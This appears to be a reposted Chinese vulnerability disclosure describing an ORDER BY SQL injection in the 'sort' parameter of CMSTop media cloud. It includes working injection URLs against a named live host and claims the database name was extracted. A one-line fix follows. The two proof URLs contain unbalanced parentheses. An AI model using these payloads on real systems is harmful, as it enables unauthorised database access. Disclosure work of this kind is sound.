IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    cmstop媒体云sql注入漏洞(1)-order by 注入技巧

    没穿底裤发表于 2015-10-09 13:16:20
    love 0

    漏洞作者: 香草

    详细说明:

    WooYun: cmstop媒体云SQL注入漏洞

    同样的cmstop 媒体云的注入

    注册账号后,在选择链接分类的时候,会发生如下链接

    http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc&category=2

    但是其中的sort参数过滤不严格,导致了一个order by后面的mysql注入

    利用mysql的报错特性进行注入,当1=1会正在,1=2就会异常了,其实mysql会抛出一个Subquery returns more than 1 row的异常,利用这个特性,我们可以进行注入:

    构造如下链接,

    http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(substring(database(),1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2

    可爆出数据库为:cloud_data

    进而获取其他数据,就不深入了

    媒体云上的系统都会受影响

    漏洞证明:

    访问

    http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=1,1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2

    和
    http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=2,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2

     

    返回不同的结果,因为第二个链接实际上会触发一个mysql异常

    修复方案:

    过滤sort参数



沪ICP备19023445号-2号
友情链接